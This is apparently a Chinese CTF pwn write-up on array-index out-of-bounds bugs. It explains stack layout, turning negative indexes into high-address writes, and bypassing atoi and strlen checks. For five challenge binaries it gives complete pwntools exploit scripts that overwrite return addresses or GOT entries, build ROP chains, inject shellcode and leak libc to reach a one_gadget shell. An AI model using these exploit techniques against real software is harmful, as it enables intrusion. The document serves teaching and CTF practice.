一、数组下标越界简介: 栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash,看一张图:
这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果,也就是通过计算偏移得出负数下标,这个下标对应的是某高地址(针对有上界检查没有下界检查,但是我们需要往高地址写东西的情况)
我们看看正负数在计算中的表示:
先来道题开胃菜:
1、homework(数组下标溢出)
开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:
C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的 数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行 的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代 码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以 为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越 界了,那么它会自动接着那块内存往后写。
漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~
再回来这题的栈,
这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='i386' , os='linux' ) local = 1 elf = ELF('./homework' ) if local: p = process('./homework' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7701 ) libc = ELF('./libc.so.6' ) def z (a='' ) : gdb.attach(p,a) if a == '' : raw_input() p.recvuntil("What's your name? " ) p.sendline("Your father" ) p.recvuntil("4 > dump all numbers" ) p.recvuntil(" > " ) p.sendline("1" ) p.recvuntil("Index to edit: " ) p.sendline("14" ) p.recvuntil("How many? " ) system_addr = 0x080485FB p.sendline(str(system_addr)) p.sendline('0' ) p.interactive()
这里需要注意的是要发送的都是以字符串的形式去发送的,最后退出就直接getshell了。
2、负数转正数下标溢出pwn1
)
先来看一波栈的分布,和我们想的一样样的,下标为8的位置,放2333(0x91d),
就是经典的栈分布的情况,但是上界被限制了,我们只能下界溢出来搞一波操作,但是我们要写的位置在高地址,刚好和下溢的话方向相反,这里要用到一个技巧,就是负数写,先看看写个负数是什么情况:
很好,写到了下标为-1的位置,再看看ret函数位置(ebp+8)
我们要想办法覆盖这个ret函数,看看距离,
是在下标为0xd的位置,但是我们需要通过rax来写到这个下标,即
rbp+rax*8-0x60 == rbp+0x8
解方程可以知道rax*8 = 0x68
还有一个关键的点是还需要使rax的值为负数,即0x8000000000000000<rax<0xffffffffffffffff
。
这里经过检验,0xa00000000000000d可用(-6917529027641081843)
还有0x800000000000000d,0xc00000000000000d,0xe00000000000000d
也是可以用的,发现一般规律,以后这种题,只要求出偏移(用distance,看后面的),那么这个大负数=偏移+0xa000000000000000,计算器算出这个负数即可,gdb检验下:
可以看到正好覆盖到ret,很好,这里就实现了负数往高地址写。
接下来就好构造了,有十次的机会写栈中的内容,足够了。
本身有system,只是参数不对,我们只需要在bss段写入/bin/sh,再调用system即可,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context.log_level='debug' p = process('./pwn1' ) elf = ELF('pwn1' ) p.recvuntil('name:\n' ) p.sendline('King' ) system_addr = elf.symbols['system' ] bss_addr = elf.bss() scanf_addr = elf.symbols['__isoc99_scanf' ] pop_rdi = 0x400a33 pop_rsi = 0x400a31 ret_addr = 6917529027641081843 scanf_formot = 0x400AFC p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr)) p.recvuntil('age:\n' ) p.sendline('%s' % (pop_rdi)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-1 )) p.recvuntil('age:\n' ) p.sendline('%s' % (scanf_formot)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-2 )) p.recvuntil('age:\n' ) p.sendline('%s' % (pop_rsi)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-3 )) p.recvuntil('age:\n' ) p.sendline('%s' % (bss_addr)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-4 )) p.recvuntil('age:\n' ) p.sendline('%s' % (0x1 )) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-5 )) p.recvuntil('age:\n' ) p.sendline('%s' % (scanf_addr)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-6 )) p.recvuntil('age:\n' ) p.sendline('%s' % (pop_rdi)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-7 )) p.recvuntil('age:\n' ) p.sendline('%s' % (bss_addr)) p.recvuntil('index:\n' ) p.sendline('-%s' % (ret_addr-8 )) p.recvuntil('age:\n' ) p.sendline('%s' % (system_addr)) p.recvuntil('index:\n' ) p.sendline('0' ) p.recvuntil('age:\n' ) p.sendline('0' ) p.recv() p.sendline('/bin/sh' ) p.interactive()
payload具体如下:(64位)
检验下:
总结如下:数组下标越界,难一点的题目就是利用下溢到ret的位置,然后相当于控制了程序的执行流程,随便跑我们paylaod即可,知道了如何转成负数!
3、leave_msg(绕过检测机制)
看到这个保护就很舒服,只有canary保护,而且有RWX段,去内存看看是哪可以搞一波操作。
原来是0x8049000到0x804b000的位置,意味着bss是可读可写可执行的(shellcode),
这里可以看到atoi函数转成整形,但是这个函数有个漏洞,就是会忽略掉空格和换行符,可以看到下面有检验上溢出和下溢出的函数,那么空格+负数就可以绕过了,同时strlen函数有个函数遇到\x00就会停下来,那么就可以绕过这个长度检测,strdup函数是copy函数,strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块接着把堆地址赋值给0x804A060那里,我们要对got动手了,选择puts的got表。先看看偏移~
因为我们的puts的got表位置在0x804a020,和0x804a060相距-0x40,除4得到-0x10(-16),所以偏移量就算出来了,这里puts的got表无法直接写shellcode,8字节的got位置要写8字节的shellcode不太可能,所以换种思路,写一条指向栈的汇编(add esp,xxx;jmp esp),指向我们的shellcode就好了~接着计算偏移xxx:(si进入到puts函数,相当于执行,观察esp)
可以计算出偏移为0x30,那么要跳到shellcode,就要加len(jump)+ 1:
汇编代码长度为5,那么总偏移就是0x30+5+1 = 0x36,则exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' local = 1 elf = ELF('./leave_msg' ) if local: p = process('./leave_msg' ) libc = elf.libc else : p = remote('nc hackme.inndy.tw' ,7715 ) libc = ELF('./libc-2.23.so.i386' ) shellcode = asm(shellcraft.sh()) jump = asm("add esp,0x32;jmp esp;" ) payload = '' payload += jump + '\x00' + shellcode p.recvuntil("I'm busy. Please leave your message:" ) p.send(payload) p.recvuntil("Which message slot?" ) p.send(" -16" ) p.interactive()
总结:利用了atoi函数的漏洞和strlen的漏洞,got表不止可以写其他的地址,还可写汇编指令喔~(甚至是shellcode(8字节长的)) 4、题目:tictactoe(下溢修改got表) 1 2 3 4 5 6 7 8 king@ubuntu:~/桌面/Hackme$ checksec tictactoe [*] '/home/king/\xe6\xa1\x8c\xe9\x9d\xa2/Hackme/tictactoe' Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 ) king@ubuntu:~/桌面/Hackme$
canary保护和堆栈不可执行~看看ida:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 int __cdecl main () { signed int v0; int v1; int fd; signed int i; ssize_t v5; char buf[256 ]; unsigned int v7; v7 = __readgsdword(0x14 u); setbuf(stdout , 0 ); fclose(stderr ); fwrite("Thanks MatthewStell for the AI, https://gist.github.com/MatthewSteel/3158579\n" , 1u , 0x4D u, stderr ); sub_80486C7(" ____ ____ __ __ __ __\n" " / __ \\ / __ \\ \\ \\ / / \\ \\ / /\n" "| | | | | | | | \\ V / \\ V /\n" "| | | | | | | | > < > <\n" "| |__| | | |__| | / . \\ / . \\\n" " \\____/ \\____/ /_/ \\_\\ /_/ \\_\\\n" "\n" "\n" "\n" ); sub_80486C7("Welcome to use AlphaToe" ); sub_80486C7("Try to beat my A.I. system" ); printf ("Computer: O, You: %c\nPlay (1)st or (2)nd? " , byte_804B04C); if ( sub_804871C() % 2 == 1 ) v0 = 1 ; else v0 = -1 ; dword_804B048 = v0; for ( i = 0 ; i <= 8 && !sub_80487F6(); ++i ) { if ( dword_804B048 == -1 ) { sub_80489C0(); } else { sub_8048762(); sub_8048A4B(); } dword_804B048 = -dword_804B048; } v1 = sub_80487F6(); if ( v1 ) { if ( v1 == 1 ) { sub_8048762(); sub_80486C7("You lose. :(" ); } else if ( v1 == -1 ) { sub_80486C7("You win. Inconceivable!" ); fd = open ("flag_simple" , 0 ); v5 = read (fd, buf, 0x100 u); if ( fd <= 0 || v5 <= 0 ) { sub_80486C7("Can not read flag! Pls contact admin" ); } else { buf[v5] = 0 ; printf ("Here is your flag: %s\n" , buf); sub_80486C7("You need a shell to get another flag" ); } exit (0 ); } } else { sub_80486C7("Draw!......" ); } memset (&dword_804B048, 0 , 0x18 u); puts ("You sucks!" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned int sub_8048A4B () { int v1; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("\nInput move (9 to change flavor): " ); v1 = sub_804871C(); if ( v1 == 9 ) { read (0 , &buf, 4u ); byte_804B04C = buf; sub_8048A4B(); } else { *(v1 + 0x804B056 ) = byte_804B04C; if ( sub_80486F0(v1) ) *(v1 + 0x804B04D ) = -1 ; } return __readgsdword(0x14 u) ^ v3;
而且由于前面的地址相同,所以只需要写末2位即可。
这里为了验证方便,分别在0x08048A8A和0x08048A9E的位置下断点,动态调试看看是否改成功了。
修改成功,直接再随便输入一个值即可退出getshell,那么exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context.log_level='debug' local = 1 elf = ELF('./tictactoe' ) if local: p = process('./tictactoe' ) libc = elf.libc else : p = remote('hackme.inndy.tw' ,7714 ) libc = ELF('./libc-2.23.so.i386' ) cat_flag = 0x8048C46 p.recvuntil("Play (1)st or (2)nd? " ) p.send('1' ) p.recvuntil("move (9 to change flavor): " ) p.send('9' ) p.send('\x46' ) p.recvuntil("move (9 to change flavor): " ) p.send(' -50' ) p.recvuntil("move (9 to change flavor): " ) p.send('9' ) p.send('\x8C' ) p.recvuntil("move (9 to change flavor): " ) p.send(' -49' ) p.recvuntil("move (9 to change flavor): " ) p.send('0' ) p.interactive()
检验下:
一、PWN:
题目:
your_pwn
操作:
这里开了所有的保护,正常的操作,这里可以分析出逻辑先输入名字到bss段中(没什么用),然后输入下标,会显示数组下标所在的内容,接着更新数组下标处的内容。
利用思路:
1、数组下标越界
2、没有上界和下界的检查,意味着任意地址读任意地址写
3、任意地址读,泄露真实地址,得到onegadget
4、任意地址写,写回到ret的地址处
5、修改循环的次数程序结束即可getshell
接着上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *context.log_level = 'debug' local = 1 elf = ELF('./your_pwn' ) if local: p = process('./your_pwn' ) libc = elf.libc else : p = remote('' ,) libc = ELF('./' ) def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) p.recvuntil("input your name \nname:" ) p.sendline('king' ) p.recvuntil('input index\n' ) p.sendline('632' ) p.recvuntil('now value(hex) ' ) a = (int(p.recvuntil("\n" )[:-1 ],16 ) & 0xff ) print hex(a)p.recvuntil('input new value\n' ) p.sendline('7' ) p.recvuntil("input index" ) p.sendline('633' ) p.recvuntil("now value(hex) " ) b = (int(p.recvuntil("\n" )[:-1 ],16 ) & 0xff ) print hex(b)p.recvuntil("new value\n" ) p.sendline('7' ) p.recvuntil("input index" ) p.sendline('634' ) p.recvuntil("now value(hex) " ) c = (int(p.recvuntil("\n" )[:-1 ],16 ) & 0xff ) print hex(c)p.recvuntil("new value\n" ) p.sendline('7' ) p.recvuntil("input index" ) p.sendline('635' ) p.recvuntil("now value(hex) " ) d = (int(p.recvuntil("\n" )[:-1 ],16 ) & 0xff ) print hex(d)p.recvuntil("new value\n" ) p.sendline('7' ) p.recvuntil("input index" ) p.sendline('636' ) p.recvuntil("now value(hex) " ) e = (int(p.recvuntil("\n" )[:-1 ],16 ) & 0xff ) print hex(e)p.recvuntil("new value\n" ) p.sendline('7' ) p.recvuntil("input index" ) p.sendline('637' ) p.recvuntil("now value(hex) " ) f = (int(p.recvuntil("\n" )[:-1 ],16 ) & 0xff ) print hex(f)p.recvuntil("new value\n" ) p.sendline('7' ) main_addr = ((f<<40 ) + (e<<32 ) + (d<<24 ) + (c<<16 ) + (b<<8 ) + a) print "main_addr--->" + hex(main_addr)libc_base = main_addr - libc.symbols['__libc_start_main' ] - 240 one_gadget = libc_base + 0xf02a4 one_gadget = hex(one_gadget) print "one_gadget--->" + one_gadgeta = int(one_gadget[-2 :],16 ) b = int(one_gadget[-4 :-2 ],16 ) c = int(one_gadget[-6 :-4 ],16 ) d = int(one_gadget[-8 :-6 ],16 ) e = int(one_gadget[-10 :-8 ],16 ) f = int(one_gadget[-12 :-10 ],16 ) print a + b + c + d + e + fp.recvuntil('input index\n' ) p.sendline('344' ) p.recvuntil('input new value\n' ) p.sendline(str(a)) p.recvuntil('input index\n' ) p.sendline('345' ) p.recvuntil('input new value\n' ) p.sendline(str(b)) p.recvuntil('input index\n' ) p.sendline('346' ) p.recvuntil('input new value\n' ) p.sendline(str(c)) p.recvuntil('input index\n' ) p.sendline('347' ) p.recvuntil('input new value\n' ) p.sendline(str(d)) p.recvuntil('input index\n' ) p.sendline('348' ) p.recvuntil('input new value\n' ) p.sendline(str(e)) p.recvuntil('input index\n' ) p.sendline('349' ) p.recvuntil('input new value\n' ) p.sendline(str(f)) p.recvuntil('input index\n' ) p.sendline('-4' ) p.sendline('40' ) p.recvuntil('do you want continue(yes/no)? \n' ) p.sendline('no' ) p.interactive()
这里的libc_start_main的偏移是632开始的,而ret的是从344开始的,最后i的偏移为-4。
总结:
1、一开始接收的时候发现有时是单个,有时是多个,所以直接
a = (int(p.recvuntil(“\n”)[:-1],16) & 0xff)这样接受一定可以得到那个16进制的数。
2、分割时可以用16进制去切割,但是要转成int型,最后发送时是str型,这个需要记一下